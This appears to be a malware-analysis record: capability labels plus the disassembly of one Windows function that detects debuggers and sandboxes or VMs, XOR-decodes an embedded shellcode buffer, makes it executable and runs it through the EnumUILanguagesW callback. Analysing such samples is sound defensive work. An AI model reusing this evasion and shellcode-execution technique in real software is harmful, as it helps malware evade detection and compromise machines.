Function at 0x140002140
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Encode data using xor
Execute shellcode via windows callback function
Get disk information
Get local ipv4 addresses
Get memory capacity
Get system information on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x6f0]
sub rsp, 0x7f0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140002184
lea rdx, [0x140037408]
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
mov eax, 1
add rsp, 0x7f0
pop rbp
ret
mov qword [rsp + 0x7d0], r15
xor r15d, r15d
mov dword [rbp + 0x708], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x708]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x1400021e9
cmp dword [rbp + 0x708], r15d
je 0x1400021e9
lea rdx, [0x140037420]
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
lea eax, [r15 + 1]
mov r15, qword [rsp + 0x7d0]
add rsp, 0x7f0
pop rbp
ret
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x140002229
lea rdx, [0x140037440]
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
mov r15, qword [rsp + 0x7d0]
mov eax, 1
add rsp, 0x7f0
pop rbp
ret
mov qword [rsp + 0x818], rbx
mov qword [rsp + 0x7e8], rsi
mov qword [rsp + 0x7e0], rdi
call fcn.140006488
mov rbx, rax
call fcn.14000646c
mov rcx, rax
movabs rsi, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x14000226a
imul rbx, rcx, 0x64
jmp 0x1400022da
cmp rbx, 0x16e3600
jne 0x1400022be
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x16e3600
imul r8, rdx, 0x3b9aca00
sub rcx, rax
mov rax, rsi
imul rcx, rcx, 0x3b9aca00
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x1400022da
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
lea rcx, [rbp + 0x700]
mov qword [rbp + 0x700], 0x64
call fcn.1400049d0
call fcn.140006488
mov rdi, rax
call fcn.14000646c
mov r9, rax
cmp rdi, 0x989680
jne 0x140002310
imul rcx, r9, 0x64
jmp 0x14000237f
cmp rdi, 0x16e3600
jne 0x140002364
mov rax, rsi
imul r9
mov rax, rsi
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul rcx, rdx, 0x16e3600
imul r8, rdx, 0x3b9aca00
sub r9, rcx
imul rcx, r9, 0x3b9aca00
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x14000237f
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
mov rbx, rdx
sar rbx, 0x12
mov rax, rbx
shr rax, 0x3f
add rbx, rax
mov rdx, rbx
call fcn.1400027f0
mov rcx, rax
call fcn.140004b70
cmp rbx, 0x64
jge 0x1400023db
lea rdx, str.This_program_may_be_running_in_a_sandbox_
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
mov eax, 1
jmp 0x1400027ba
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x14000241f
lea rdx, str.Failed_to_get_system_memory_status.
lea rcx, [0x14003e580]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
mov edx, 1
call fcn.140002c50
mov rcx, rax
call fcn.140004b70
jmp 0x140002451
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x34]
xor edx, edx
mov rax, qword [rbp - 0x58]
div rcx
mov edx, eax
mov rbx, rax
call fcn.140002c50
mov rcx, rax
call fcn.140004b70
cmp ebx, 0x3d0900
jge 0x140002476
lea rdx, str.The_memory_page_is_smaller_than_normal_and_may_be_in_a_virtual_machine_environment
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
mov eax, 1
jmp 0x1400027ba
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, r15d
xor bl, bl
mov esi, eax
movzx r8d, bl
bt esi, r8d
jae 0x1400024bb
add r8d, 0x41
lea rdx, str._c:_
lea rcx, [rbp + 0x700]
call fcn.140004ec0
lea rcx, [rbp + 0x700]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
add eax, 0xfffffffe
cmp eax, 1
ja 0x1400024bb
inc edi
inc bl
cmp bl, 0x1a
jl 0x140002483
mov edx, edi
call fcn.140002c50
mov rcx, rax
call fcn.140004b70
cmp edi, 2
jge 0x1400024fb
lea rdx, str.The_number_of_hard_disks_is_smaller_than_normal__and_the_hard_disks_may_be_in_a_VM_environment
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
mov eax, 1
jmp 0x1400027ba
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rbp - 0x80]
call fcn.140002a20
mov rcx, rax
call fcn.140004b70
cmp dword [rbp - 0x80], 4
ja 0x140002541
lea rdx, str.If_the_number_of_cpus_is_smaller_than_normal__the_system_may_be_running_on_a_VM
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
mov eax, 1
jmp 0x1400027ba
xor r9d, r9d
mov dword [rbp + 0x700], r15d
lea rax, [rbp + 0x700]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov ecx, dword [rbp + 0x700]
call fcn.1400090c4
mov rdi, rax
xor r8d, r8d
lea rax, [rbp + 0x700]
mov r9, rdi
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r8 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov ebx, r15d
nop word [rax + rax]
mov ecx, ebx
inc ebx
cmp dword [rdi + 0x68], 1
mov rdi, qword [rdi + 8]
cmovne ebx, ecx
test rdi, rdi
jne 0x1400025a0
mov edx, ebx
call fcn.140002c50
mov rcx, rax
call fcn.140004b70
cmp ebx, 2
jge 0x1400025eb
lea rdx, str.The_number_of_network_adapters_is_smaller_than_normal__and_the_network_adapter_may_be_in_a_VM_environment
lea rcx, [0x14003e3e0]
call fcn.140004c10
mov rcx, rax
call fcn.140004b70
lea eax, [rdi + 1]
jmp 0x1400027ba
mov qword [rsp + 0x7d8], r14
mov r14d, 0x1f4
mov qword [rbp + 0x710], 0x64
dec r14d
call fcn.140006488
call fcn.14000646c
lea rcx, [rbp + 0x710]
call fcn.1400049d0
call fcn.140006488
call fcn.14000646c
xor ecx, ecx
call fcn.140012d90
mov rcx, rax
call fcn.14000f998
lea rdx, [rbp + 0x350]
mov ecx, 6
lea rax, [0x140037610]
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140002650
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x70]
mov rbx, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
movups xmm0, xmmword [str.fdsafcxvwe__2312312z222___]
mov dword [rdx + 0x78], ecx
movzx ecx, byte [rax + 0x7c]
movzx eax, word [0x1400379a8]
mov word [rsp + 0x48], ax
movzx eax, byte [0x1400379aa]
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x4a], al
lea rax, [rsp + 0x30]
movsd xmm0, qword [0x1400379a0]
mov byte [rdx + 0x7c], cl
movsd qword [rsp + 0x40], xmm0
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140002730
mov edi, r15d
mov rsi, r15
nop
mov eax, edi
cdq
idiv ebx
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x30]
xor cl, byte [rbp + rsi + 0x350]
movzx edx, cl
lea rcx, str.x_x
mov byte [rbp + rsi - 0x30], dl
call fcn.140001240
inc edi
lea rsi, [rsi + 1]
cmp edi, 0x37d
jb 0x140002740
lea r9, [rbp + 0x700]
mov dword [rbp + 0x700], r15d
mov edx, 0x37d
lea rcx, [rbp - 0x30]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
lea rcx, [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
test r14d, r14d
jne 0x140002604
mov r14, qword [rsp + 0x7d8]
xor eax, eax
mov rdi, qword [rsp + 0x7e0]
mov rsi, qword [rsp + 0x7e8]
mov rbx, qword [rsp + 0x818]
mov r15, qword [rsp + 0x7d0]
add rsp, 0x7f0
pop rbp
ret